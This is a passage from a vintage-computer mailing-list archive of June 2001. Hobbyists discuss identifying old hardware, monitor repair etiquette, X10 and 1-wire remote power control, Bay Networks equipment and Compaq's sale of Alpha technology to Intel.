inside out. Don't be coy, wave money, and ask to look through ALL the floppies, manuals etc. they have around. Don't delay. Ask if you can put a card up by the cash register etc. offering to buy anything related. From jfoust at threedee.com Mon Jun 25 16:37:37 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:55 2005 Subject: Autologger II In-Reply-To: <3B37ADC6.939E8390@rain.org> References: <20010611213046.25852.qmail@web4805.mail.yahoo.com> <3B25401B.9DB5AE77@rain.org> <10106120806.ZM16390@indy.dunnington.u-net.com> Message-ID: <4.3.2.7.0.20010625163650.01ea9c40@pc> At 02:31 PM 6/25/01 -0700, Marvin wrote: >Anyone know what this thing is? The markings are "AIB Systems Intelligent >Answer-Back Systems", Autologger II, and "Board of Realty Information >Systems". It connects to the modem and the computer. I believe it just captures and replays the data stream to/from a floppy. Does it have "record" and "play" toggle switches? - John From donm at cts.com Mon Jun 25 16:53:30 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:55 2005 Subject: Canon Cat In-Reply-To: <001301c0fdba$edf9a840$c2609040@atarihistory.com> Message-ID: On Mon, 25 Jun 2001, Curt Vendel wrote: > Hi everyone, > > The Canon Cat from Chris H arrived today and it is truly a wonderful > little machine, he also included a video tape demonstration as well as about > 25 handwritten pages of instructions for use of the machine. > > If anyone ever needs to take this system on loan for research, > photography or use at a show or something, feel free to contact me. > Curt, any chance of getting a copy of the notes and the video? They would be a useful addition for the Cat that I also have. - don From edick at idcomm.com Mon Jun 25 16:54:49 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? References: Message-ID: <001901c0fdc1$74de1200$9cc762d8@idcomm.com> Having openly disagreed with you a number of times, I have to say the position you take, this time certainly, but actually most of the time is indicative of style. We don't all have the same appreciation for this, and, I, for one, would take a different position on the swap of CRT versus monitor chassis. I've had several DEC monitors of the same model number, only to find not only that the CRT's weren't interchangeable, but that they were entirely different manufacture, some Italian, some Korean, some Japanese, yet still carrying the identical part number. I doubt the DEC's the only one in this position. Since that's not what I'm gett at at the moment, however, I'd say that you, Tony, shouldn't take these matters quite so personally. I got jammed a while back because I was looking for folks who actually used a complete Altair setup as a computer. Clearly, the folks who dominated that discussion viewed the Altair, as I now do, as a toy, really designed and suitable only for mental-masturbation. I did find one list member, however, who had a picture on his web site of a complete Altair system, with CPU, FDD, HDD, and HDC boxes all integrated in a somewhat clumsy-looking desk enclosure. Having now read what's been written, reviewed the ad's, and considered the information in them, I have to agree, the MITS Business System, though capable of considerable computing power, was, like Jurassic Park, result of doing what COULD be done, with no consideration for whether it SHOULD. I didn't see anyting that resembled a flame directed at you, Tony, but there are folks who see things quite differently than you, and I'd be the last to try to guess who's right and who's wrong, or, for that matter, whether either is the case. Were I in your position, I'd tell folks how I'd approach the problem, maybe explaining my underlying reasoning, and leave it at that. If somebody doesn't like what's been said, ... Tough! What you offer is useful because it's useable. If someone else doesn't use it, that's their choice. If they don't see that, it's not your fault. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Monday, June 25, 2001 2:26 PM Subject: Re: Good Samaritan Rule? > > > > There is nothing quite like thinking you are doing "a > > good thing" and being criticized for the "way" you are > > doing it. There's something inherently offensive about > > it. That's why so many states have passed so-called > > If this is aimed at me, and I think it most certainly, is, then you might > say so... > > There's something that I find offensive too. And that is being flamed for > offering what I consider to be correct advice. Please remember that I > give my time, knowledge, and experience freely. If people here don't want > such advice, then tell me and I will leave. I've thought about leaving > several times due to being flamed for things like this. And I can assure > you that _I_ will not be the loser.... > > > > "good Samaritan" laws, which prevent lawsuits such as > > malpractice actions against doctors who stop and give > > aid to accident victims. > > > > Do the same rules apply to collecting and attempting to > > fix computer equipment? > > Oh, for %deity's sake. Nobody is going to sue anybody, surely. > > > > Today I posted some questions regarding an IBM S/23 I > > am trying to get working (VCF 5.0 is coming up fast). > > The 5322 unit I saved from a dumpster and found that > > the display was badly burned and feeble. A year and a > > half later I found someone who had a number of 5324 > > displays that he was going to pitch. I paid to have > > one of the displays shipped from St. Loius to L.A., so > > I could swap them. I suspected that this would work > > because the IBM part nos. for the internal display unit > > were identical. Today I swapped the displays, and it > > was mostly a success. But, I think I've offended some > > > OK, let me make a few points. > > You started by asking for methods for undoing stuck screws. I provided a > number of such methods that have worked for me in the past (note : I have > never needed to use a hammer or similar tool to dismantle _any_ part of a > classic computer, but I digress). I also suggested that there might be an > alternative method to do what you wanted to do (namely to remove the > parts from the monitor chassis). I have learnt many times over that if > somebody is asking how to do something, it's best to find out what the > _real_ problem is as there may be an alternative solution that's easier, > better, or whatever. I know some people don't like being told they're > going about it the wrong way, but.... > > Also, you now say that the 2 monitor chassis assemblies have the same > part number. In this case, I think it's safe to assume they _are_ > compatible (in fact they might well be identical). So the height problem > is certainly not an incompatability. It's most likely a fault. > > In the circumstances, the first thing to try when the height is too low > is, most liklely, a tweak of the height control. To be honest, I'd > probably have tried that too (knowing that a height controller, as > opposed, say, to a disk controller PLL adjustment, is easy to set > correctly). But when you find that you can't get enough height out of the > monitor that way, then the next thing to do is not to look for more > adjustments, but to look for the fault. > > The fact that the height control was sealed with silicone rubber should > have indicated that most likely this is not a common field adjustment. In > other words you should be able to drop any monitor chassis in place of > any other without having to adjust things -- they would have come > correctly set up from the factory. In which case the lack of height would > suggest a component fault. > > Now, as to what I would have done differently, had it been my machine.... > > My first thought would have been to swap the CRT only. Not the entire > monitor. For at least 2 reasons it's a good idea to replace as small a > part as possible. > > Those 2 reasons are : > > 1) Historical accuracy -- keep as much of the machine original as > possible. There may have been changes in design that happened during the > production life of the machine (I know plenty of examples where this did > happen). You don't want to confuse people by having the 'wrong' parts fitted. > > 2) Lack of incompatibilites. Often seemingly identical subassemblies can > have subtle differences. I've been caught with this too often. I prefer > to keep with parts that I _know_ have once worked together and therefore > can be made to work together again. > > My second thought would be to look for faults when tweaking an adjustment > doesn't have the desired effect. > > IMHO classic computers are repaired by very different procedures now to > how they were repaired when in current production. For one thing, there's > no source now of known-good FRUs for most classic computers. Even > New-In-Box parts can have failed in storage. Therefore, it's necessary to > do a lot more tests and a lot less module-swapping. But since this is a > hobby for most of us, we don't count the time we spend looking for the > fault. The time doesn't matter, the cost of parts might. It's cheaper to > replace a small component rather than an FRU, too. > > For this reason I often ignore much of what is printed in the official > service manual for a classic computer. I will make use of the 'reference > data' -- the schematics, pinouts, voltage charts, waveforms, source > listings and so on. But I almost always ignore the fault-finding charts. > I work from the schematics, making measurements, checking waveforms, and > figuring out what is really going on. > > > > of you because I have, in effect, performed surgery > > with a sledgehammer. Yet, this is the best I can do. > > There is an attidude here that I find hard to accept. > > I have no problem with the fact that you are probably relatively > inexperienced in fixing monitors (or analogue stuff, or...). Everybody > has to start out somewhere. I can remember making a lot of mistakes when > I was starting out. > > The thing is, I was prepared to learn from my mistakes, from my problems, > and so on. I don't consider that learning should stop just when you leave > school (or university, or...). I want to stop learning the day that I > die, and not before. > > There are many things (related to computers, electronics, engineering) I > don't know. And many things I've learnt due to working with classic > computers. My attidude if I come up against something that I don't know > (like 'How does the vertical deflection system of a monitor work', or > 'How do I write a device driver') is to go away and learn about it. Read > books, experiment, ask questions, etc. And then I have got a solution if > I ever come against the same problem in the future. > > Repairing and using classic computers is a hobby for most of us here. A > hobby is something we do because we want to do it, it's fun. This doesn't > mean that everything I do related to classic computers has to be > enjoyable. But equally, if I found that everything was unenjoyable then > I'd find some other hobby. But I consider learning to be an integral part > of this hobby. > > OK, so you have a monitor that's not working right, how do you learn > about it? > > Well, I am going to assume that the manufacturer never provided a > schematic or component level repair manual. > > But a mono monitor is like the last few stages of a monochrome TV. So we > look at books on repairing TVs. (There's a good reason why I have 30 years > of tha annual 'Radio and Television Servicing' books on the shelf). We > look at circuit diagrams for TVs. We look at the monitor and try to > identify the main components -- at least the ICs. If the numbers are > unreadable, then we trace enough pins to make a sensible guess as to what > the chip must be (this is something that, I will admit, comes with > expeirence). We try to find circuits in TV repair books that use similar > components. And then try to match up the other parts -- the resistors and > capacitors round the chip. Most likely they'll not tbe the same value, > but the arrangement -- the circuit topology -- is often very similar. > There are only so many ways you can use a particular chip. > > For example I had a problem with a Hitachi colour monitor on my DEC > Rainbow. It was badged DEC VR241, but it was certainly a Hitachi chassis. > The vertical output stage was part of a ceramic hybrid module. A look at > some early 1980s Hitachi TV schematics producted one using a hybrid with > almost identical circuitry from what I could deduce about the one in my > monitor. Needless to say that schematic was a great help. > > > Although I'm an engineer, I'm an ME and my electronics > > If 'ME' = Mechanical Engineer, then I am even more suprised by the use of > a hammer. I've never used a hammer for any mechanical engineering that I > can remember. > > > background is mostly directed to digital stuff. (So > > I'm not a "doctor" which perhaps destroys the "Good > > I'm not an engineer at all. I am also not a 'doctor' in this sense. > > > Samaritan analogy.) I don't have anything close to an > > electronics lab (nor do I know anyone local that does) > > You don't need an electronics lab. FWIW, the tools I most often need to > fix computers (including test gear) will all fit into one normal-sized > 'holdall' bag. In fact I take them along to HP calculator club meetings. > [That, BTW, is more than can be said for my 'mechanical' toolkit which is > most definitely not portable] > > But, more important that tools or test equipment, IMHO, is the ability to > think about what you are doing and to stop and think if there's a better > way to do it. Nobody is going to flame you for making a mistake. > > > and, aside from an EPROM burner, my most sophisticated > > equipment is a voltage meter. > > I've debugged several computers to component level using nothing more than > an analogue VOM (multimeter) and a bit of experience. Test equipment is not > a magic box that will find the faults for you. > > I keep on about experience. Yes, some of us have been working on such > machines for rather a long time. And _all_ of us (if we are honest) will > admit to making mistakes. Sometimes very silly mistakes. But experience > comes from mistakes, provided you are prepared to realise that you have > made a mistake and what uyou did wrong. > > > > Should I simply not even try to do anything, lest I > > risk criticism for doing it wrong? > > No, please carry on. The only way to learn is by doing things. And keep on > asking questions -- that's another good way to learn. But bear in mind > that if you ask for advice it may not be what you want to hear. It may > help you in the end, though > > -tony > > From optimus at canit.se Mon Jun 25 08:20:48 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:55 2005 Subject: More free stuff... In-Reply-To: Message-ID: <1996.576T2400T8606345optimus@canit.se> r. 'bear' stricklin skrev: >On 23 Jun 2001, Iggy Drougge wrote: >> BTW, a while ago I looked at a very old 3Com full-length card. The PCB >> was a rich blue, much like the 3C501, but that's a small eight-bit ISA >> card, this one was full-length. For some reason the seller thought he >> could ask more for this card than the 3C509s of another seller, so I >> skipped them. Otherwise, they would have been a nice curiosity. >Chances are good that these were 3C505 cards, which you need to make an >ISA-bus Apollo workstation speak ethernet. That really sounds possible, since I got a d?j? vu feeling when I looked at an Apollo gallery, only I didn't know they used ISA. >Better still if they had the boot ROMs on them, which would have made them >real Apollo parts and thus capable of netbooting same. Don't know. I think the trader appears from time to time at the market, so it could make sense to be on the lookout. Now, if only I had an Apollo to plug them into, it would make more sense. BTW, does anyone know anything about Bay networking systems? I once bought a big, white case at the fleamarket, which had been in service at a power station. One label said "LAN BRIDGE REPEATER" or something to that effect, and when I finally wedged it open, it seemed to be a VME system. The "main" board had two 68020s, one at 16 and one at 20 or 24 MHz. The system also had a floppy drive, which was accessed at startup, and spome status lights. Other boards had several serial ports, AUI and some other ports which I couldn't recognise. The case had once been rackmouted, and had the mounting brackets still. Bay have since been bought by another companym which in turn has been bought by yet another, which made finding information about it quite impossible. Why do people feel such a desire to dismantle the web sites of conquered companies? Unfortunately, I had to throw it away when I moved to my new, cramped home. =( -- En ligne avec Thor 2.6a. Computer hackers do it all night long. From brams at mac.com Mon Jun 25 17:04:04 2001 From: brams at mac.com (Michael Bramley) Date: Sun Feb 27 19:04:55 2005 Subject: FS on ebay.co.uk NeXT station Color & NeXTSTEP 3.3 & OPENSTEP 4.2 Message-ID: Hello, My NeXT station Color is up for auction in the UK here on ebay http://cgi.ebay.co.uk/aw-cgi/eBayISAPI.dll?ViewItem&item=1249868951 Thanks From jhellige at earthlink.net Mon Jun 25 17:26:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:55 2005 Subject: SWTPc S/09 is alive In-Reply-To: <3B353B1A.71AEC217@greenbelt.com> References: <3B352505.19C36F51@greenbelt.com> <3B353B1A.71AEC217@greenbelt.com> Message-ID: >Interesting to find out what manufacture numbers (quantity) exist for both >types. >All would die with the advent of the PC, but the historical aspects of the >SS-50 >bus became more fascianting today once I realized that major switch. Not only would it be interesting to find out how many are still out there, but also to determine just how many were made to begin with. Given that quite a few of them started life as kits vice assembled units though, I wonder if those were serialized at all. For instance, your 69/K doesn't have the model#/serial# sticker on the rear panel. Also, though mine is a later machine, likely produced after mid 1980, it has a serial# of 004906. Too bad nobody has ever done a FAQ on the SWTPC or other SS-50 bus machines. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From mikeford at socal.rr.com Mon Jun 25 16:41:57 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:55 2005 Subject: power control In-Reply-To: References: from "Mike Ford" at Jun 25, 1 03:07:24 am Message-ID: >prefer the simplest possible solution. > >X10 seems to be ideal if you want to control devices all over your house, >but it's a lot more complicated than a single-chip relay driver connected >straight to the parallel port if you just want to switch a few lamps on >your workbench or whatever. All the lights on my workbench have a switch, why not use that? Personally I have two specific projects in mind; Network printer power I have half a dozen printers scattered all over the house, and they are rapidly being connected to my home network. It would be real nice to leave them all off until printing needed doing, then to be able to turn on any printer remotely from any computer followed by powering down after some reasonable interval. Laserprinters are right at the edge of what X10 will handle. Huge audiophile audio and AV system. Same thing, half a dozen items that use a lot of power, ie amps, or get used up (older gear with expensive to replace dial lamps), that should be off most of the time, and I would like to power up fairly automatically. Now its not too likely I will be running out to buy one of these $500 power strips, but you can bet I will be looking for them in surplus etc. From curt at atari-history.com Mon Jun 25 17:34:28 2001 From: curt at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:04:55 2005 Subject: Canon Cat References: Message-ID: <000501c0fdc6$fecccb00$c2609040@atarihistory.com> Hi, Sure, I can make copies of the tape and I'll make an adobe file of the notes and post a link to them. If anybody wants a copy, let me know.... Curt ----- Original Message ----- From: "Don Maslin" To: Sent: Monday, June 25, 2001 5:53 PM Subject: Re: Canon Cat > > > On Mon, 25 Jun 2001, Curt Vendel wrote: > > > Hi everyone, > > > > The Canon Cat from Chris H arrived today and it is truly a wonderful > > little machine, he also included a video tape demonstration as well as about > > 25 handwritten pages of instructions for use of the machine. > > > > If anyone ever needs to take this system on loan for research, > > photography or use at a show or something, feel free to contact me. > > > > Curt, any chance of getting a copy of the notes and the video? They > would be a useful addition for the Cat that I also have. > > - don > > From ard at p850ug1.demon.co.uk Mon Jun 25 17:36:27 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? In-Reply-To: <001901c0fdc1$74de1200$9cc762d8@idcomm.com> from "Richard Erlacher" at Jun 25, 1 03:54:49 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4084 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/80bf5fd1/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 17:41:34 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:55 2005 Subject: power control In-Reply-To: from "Mike Ford" at Jun 25, 1 02:41:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1591 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010625/49b87727/attachment.ksh From ecloud at bigfoot.com Mon Jun 25 18:19:47 2001 From: ecloud at bigfoot.com (Shawn T. Rutledge) Date: Sun Feb 27 19:04:55 2005 Subject: power control (OT) In-Reply-To: ; from ard@p850ug1.demon.co.uk on Mon, Jun 25, 2001 at 11:41:34PM +0100 References: Message-ID: <20010625161947.A3760@cx47646-a.phnx1.az.home.com> On Mon, Jun 25, 2001 at 11:41:34PM +0100, Tony Duell wrote: > > I have half a dozen printers scattered all over the house, and they are > > rapidly being connected to my home network. It would be real nice to leave > > them all off until printing needed doing, then to be able to turn on any > > printer remotely from any computer followed by powering down after some Yes I've wanted to do this too. > > reasonable interval. Laserprinters are right at the edge of what X10 will > > handle. > > I believe there used to be an X10 'appliance module' with a relay (not > triac) output. Connect the (120V switched) output of that to the coil of > a large 120V-coil relay or contactor (those are made with _very_ high > contact ratings, at least 100A if you need them!). Then use that to > switch the mains to the laserprinter. Actually the 3-prong appliance module ought to be enough for a printer. My experience is that the X10 toys aren't long-term reliable. Since 1997 when I got started, I have had 2 light switches fail (one liked to oscillate instead of switch on or off; the other was for the bathroom, and got used enough that its pushbutton contacts failed), an X10 switched outlet failed after only a few months, another outlet sometimes switches itself on with no input like some kind of poltergeist (but it has been a while since that happened...) and some others are just generally flaky (don't receive the commands sometimes). A couple weeks ago I set up a relay controlled by a Dallas Semiconductor 1-wire switch chip (well, actually a small one-wire relay from PointSix, controlling a bigger relay) to control the booster pump for my pool cleaner. That's working OK so far, we'll see about the long term. For now a computer in the house is controlling it (a cron job) but I want to put a TINI in the garage one of these days. The 1-wire stuff could potentially be more reliable than X10 but you do have to have extra control wires (one signal wire for the serial bus, plus a ground). A spare pair in a telephone cable works OK. Or, you could use CAN bus, that has a long track record, and there are TINI systems which can use that bus as well. Next I want to try to build a DC control board using a 1-wire switch chip and a FET, to control either relays or sprinkler solenoids. For a serial printer, a TINI could be used both to put it onto the network and control its power (along with the same sort of 1-wire relay lashup). -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From mikeford at socal.rr.com Mon Jun 25 18:19:58 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? In-Reply-To: <001901c0fdc1$74de1200$9cc762d8@idcomm.com> References: Message-ID: Tony's actions in the UK are perfectly reasonable for him, but here in SoCal I run across so much stuff that more than 95% of it goes to scrap. Of the 5% I bring home and mess with, about 75% still goes to scrap after a few months or years of storage. My problems are; Space. I am currently at a good 200% of reasonable capacity, and forced to pay an extra $30 month to park my new car on the street instead of my packed garage. The worst to me about this is that in NO WAY is the extra stuff blocking my cars parking spot worth more than a couple months of this extra $30. If I wouldn't pay that much to buy, why the heck am I keeping and pay that much? Stupid projects that bog down and tie up my workbench areas. I am frequently tempted to do what Tony does, and get myself into a real mess while I wait for a part, tool, or knowledge on how to continue. (see stupid 486 minitower below) A very reasonable course of activity for me is to take the parts I need from lesser systems, and scrap the remains, but I suspect like many on this list I find that VERY hard to do. Instead of what odd bit did you add to your collection, what was the last thing you tossed? My list for June is a yellow 13" mac RGB monitor that I couldn't get to work properly, tried to fix and broke something, plus found out it was already working and I hooked it up wrong. Item two are a couple of 486/66 minitowers that had just too many things wrong with them(bad power supplies, missing memory, bad hard drives, funky motherboards (vlb), and finally nasty old case I cut my finger on. From mikeford at socal.rr.com Mon Jun 25 18:34:13 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:55 2005 Subject: power control In-Reply-To: References: from "Mike Ford" at Jun 25, 1 02:41:57 pm Message-ID: >But as I said, it depends on what you want to do. If all the devices are >close together, a simple relay-driver + relays might is probably the Do you know what I mean by, the urge to engineer? It is the irresistable force that makes us tinkering types want to make something instead of doing it. ;) Maybe that is why I have ended up doing process control work so many times. Its just fun to turn stuff on and off with the computer, and the bigger the mess of stuff, the better. From ard at p850ug1.demon.co.uk Mon Jun 25 18:45:57 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? In-Reply-To: from "Mike Ford" at Jun 25, 1 04:19:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2322 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/4f95827e/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jun 25 18:50:28 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:55 2005 Subject: power control In-Reply-To: from "Mike Ford" at Jun 25, 1 04:34:13 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 560 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010626/56f02b3b/attachment.ksh From optimus at canit.se Mon Jun 25 20:32:25 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:55 2005 Subject: Hungarian minis Message-ID: <654.577T1250T1524947optimus@canit.se> My, this is certainly interesting, Hungary produced minis (mainly DEC clones, but developments of their own as well) for twenty years: http://www.telnet.hu/hamster/tpa/e_index.html I particularly recommend that you have a look at the Quadro, it is such a beaut! -- En ligne avec Thor 2.6a. I installed 7.6.1 on my Color Classic too. It has 6mb ram now, and no FPU yet. Things really slowed down when I installed the Appearance extention and control panel. But now the GUI is OS8ish! ;) That little creep is so cute, I'll probably leave instructions to have it made my urn. It'll hold my ashes, and still continue to function as a computer ;) iVan From foo at siconic.com Mon Jun 25 18:55:00 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <200106252033.OAA08816@calico.litterbox.com> Message-ID: On Mon, 25 Jun 2001, Jim Strickland wrote: > Just fyi, some bright spark in the apple2 world has created an > aftermarket ethernet board for the apple2 bus. If anyone's interested > enough I'll dig up the URL. If you have a GS, they've got a driver > for the Marinetti tcpip stack, too. I think I remember some mentionings of someone making one a while back. I'm definitely interested in the URL. An Apple ][ web server would be a kick :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From pechter at bg-tc-ppp1654.monmouth.com Mon Jun 25 19:58:35 2001 From: pechter at bg-tc-ppp1654.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:55 2005 Subject: More free stuff... In-Reply-To: <1996.576T2400T8606345optimus@canit.se> from Iggy Drougge at "Jun 25, 2001 02:20:48 pm" Message-ID: <200106260058.f5Q0waI53731@bg-tc-ppp1654.monmouth.com> > r. 'bear' stricklin skrev: > > BTW, does anyone know anything about Bay networking systems? > I once bought a big, white case at the fleamarket, which had been in service > at a power station. One label said "LAN BRIDGE REPEATER" or something to that > effect, and when I finally wedged it open, it seemed to be a VME system. The > "main" board had two 68020s, one at 16 and one at 20 or 24 MHz. The system > also had a floppy drive, which was accessed at startup, and spome status > lights. Other boards had several serial ports, AUI and some other ports which > I couldn't recognise. The case had once been rackmouted, and had the mounting > brackets still. > Bay have since been bought by another companym which in turn has been bought > by yet another, which made finding information about it quite impossible. Why > do people feel such a desire to dismantle the web sites of conquered > companies? > Unfortunately, I had to throw it away when I moved to my new, cramped home. =( > > Sounds like a Bay Networks router or ethernet bridge... They were bought by Nortel... good luck finding docs. Souns like it may be a late 1980's or early 1990's piece... similar to Cisco AGS routers. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From foo at siconic.com Mon Jun 25 19:07:15 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: Autologger II In-Reply-To: <3B37ADC6.939E8390@rain.org> Message-ID: On Mon, 25 Jun 2001, Marvin wrote: > Anyone know what this thing is? The markings are "AIB Systems > Intelligent Answer-Back Systems", Autologger II, and "Board of Realty > Information Systems". It connects to the modem and the computer. I > have no docs or power supply with it, and my inclination is to > disassemble it for the plastic case. If it has any historical > significance though, I'll add it to the modem collection. Thanks. Sounds like a device that logs when realtors enter a house that is for sale, and which presumably allows someone to remotely poll it to see which realtors have visited. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Mon Jun 25 19:13:59 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: power control In-Reply-To: Message-ID: On Mon, 25 Jun 2001, Tony Duell wrote: > I believe there used to be an X10 'appliance module' with a relay (not > triac) output. Connect the (120V switched) output of that to the coil > of a large 120V-coil relay or contactor (those are made with _very_ > high contact ratings, at least 100A if you need them!). Then use that > to switch the mains to the laserprinter. They still make the Appliance Module. I used it to switch PCs on/off remotely...they worked great. The remote unit was the TR552 Telephone Responder. Hook it up to a line, it'll anwser about 40 seconds after the first ring with 3 beeps. You can key in a 3-digit access code (if you have it set for an access code, otherwise it's wide open) and then you can select the module you want to operate (it could handle up to eight, 1-8) by hitting the appropriate touch tone, then * for on and # for off. After every on or off operation it would beep three times to confirm. Saved my ass from having to drive a couple hours to reset a computer dozens of times. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From optimus at canit.se Mon Jun 25 20:53:04 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:55 2005 Subject: BIG haul of DEC docs! In-Reply-To: <3B375CB0.968E687C@idirect.com> Message-ID: <771.577T200T1733341optimus@canit.se> Jerome Fine skrev: [big snip of PDP and OS licence issues] >If this actually takes place, then the question of DOCs will be much more >important since an up-to-date set is almost essential. Hopefully the news >will be confirmed by the end of the year - maybe sooner - maybe before COMPAQ >sells the Alpha design team. Hm, what's this about sellinbg the Alpha team, and why? Have the Compaq executives suffered some kind of massive stroke or have they been free-basing (I think that's the term) on Windows NT discs? -- En ligne avec Thor 2.6a. Kimagure Orange Road inneh?ller v?ldigt mycket ton?rsromantik, extremt mycket ton?rsromantik faktiskt. Men det ?r samtidigt en av de st?rsta klassikerna inom shojo, kanske till och med den absolut st?rsta. - Animanga.nu From foo at siconic.com Mon Jun 25 19:17:56 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:55 2005 Subject: power control (OT) In-Reply-To: <20010625161947.A3760@cx47646-a.phnx1.az.home.com> Message-ID: On Mon, 25 Jun 2001, Shawn T. Rutledge wrote: > My experience is that the X10 toys aren't long-term reliable. Since > 1997 when I got started, I have had 2 light switches fail (one liked > to oscillate instead of switch on or off; the other was for the > bathroom, and got used enough that its pushbutton contacts failed), an > X10 switched outlet failed after only a few months, another outlet > sometimes switches itself on with no input like some kind of > poltergeist (but it has been a while since that happened...) and some > others are just generally flaky (don't receive the commands > sometimes). I never had so many problems, but then I never used the wall outlets, always the modules (but I do have one of the wall outlets that I never used). It sounds like you may have had noisy power lines which were causing the problems. Did you only use them in one location (i.e. your house)? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Mon Jun 25 20:32:29 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:55 2005 Subject: BIG haul of DEC docs! In-Reply-To: <771.577T200T1733341optimus@canit.se> References: <771.577T200T1733341optimus@canit.se> Message-ID: >Hm, what's this about sellinbg the Alpha team, and why? Have the Compaq >executives suffered some kind of massive stroke or have they been free-basing >(I think that's the term) on Windows NT discs? Here's the part of the text that appeared in the email I received today from Encompass: "By now I'm sure you have heard of the historic announcement Compaq made this morning. In brief, Compaq entered into an agreement with Intel to provide Intel with all of Compaq's Alpha technology and experience, to further Intel's Itanium design. In addition, over the course of the next 3-4 years, Compaq will migrate all of its server-based technologies (including OpenVMS, Tru64 and its Linux work) to the Itanium platform. Attached is a letter from Rich Marcello, Vice President and General Manager of the High Performance Systems Group, discussing this announcement and its implications for Alpha customers worldwide" Jeff. -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From mwp at acm.org Mon Jun 25 21:04:30 2001 From: mwp at acm.org (Michael Passer) Date: Sun Feb 27 19:04:55 2005 Subject: BIG haul of DEC docs! References: <771.577T200T1733341optimus@canit.se> Message-ID: <003001c0fde4$573a8e40$0300a8c0@zeus> Let's have a moment of silence for the Alpha, and for DEC. /me removes hat and bows head. ----- Original Message ----- From: "Jeff Hellige" To: Sent: Monday, June 25, 2001 8:32 PM Subject: Re: BIG haul of DEC docs! > . . . In addition, over the course > of the next > 3-4 years, Compaq will migrate all of its server-based technologies > (including OpenVMS, Tru64 and its Linux work) to the Itanium platform.> From vance at ikickass.org Mon Jun 25 21:24:26 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:55 2005 Subject: Good Samaritan Rule? In-Reply-To: Message-ID: Hey. If you ever run into any interesting DEC stuff that you can't take, I would be more than willing to pay shipping. Same probably goes with other hardware for other people. Keep it in mind. 8-) Peace... Sridhar On Mon, 25 Jun 2001, Mike Ford wrote: > Tony's actions in the UK are perfectly reasonable for him, but here in > SoCal I run across so much stuff that more than 95% of it goes to scrap. Of > the 5% I bring home and mess with, about 75% still goes to scrap after a > few months or years of storage. > > My problems are; > > Space. I am currently at a good 200% of reasonable capacity, and forced to > pay an extra $30 month to park my new car on the street instead of my > packed garage. The worst to me about this is that in NO WAY is the extra > stuff blocking my cars parking spot worth more than a couple months of this > extra $30. If I wouldn't pay that much to buy, why the heck am I keeping > and pay that much? > > Stupid projects that bog down and tie up my workbench areas. I am > frequently tempted to do what Tony does, and get myself into a real mess > while I wait for a part, tool, or knowledge on how to continue. (see stupid > 486 minitower below) > > A very reasonable course of activity for me is to take the parts I need > from lesser systems, and scrap the remains, but I suspect like many on this > list I find that VERY hard to do. Instead of what odd bit did you add to > your collection, what was the last thing you tossed? My list for June is a > yellow 13" mac RGB monitor that I couldn't get to work properly, tried to > fix and broke something, plus found out it was already working and I hooked > it up wrong. Item two are a couple of 486/66 minitowers that had just too > many things wrong with them(bad power supplies, missing memory, bad hard > drives, funky motherboards (vlb), and finally nasty old case I cut my > finger on. > 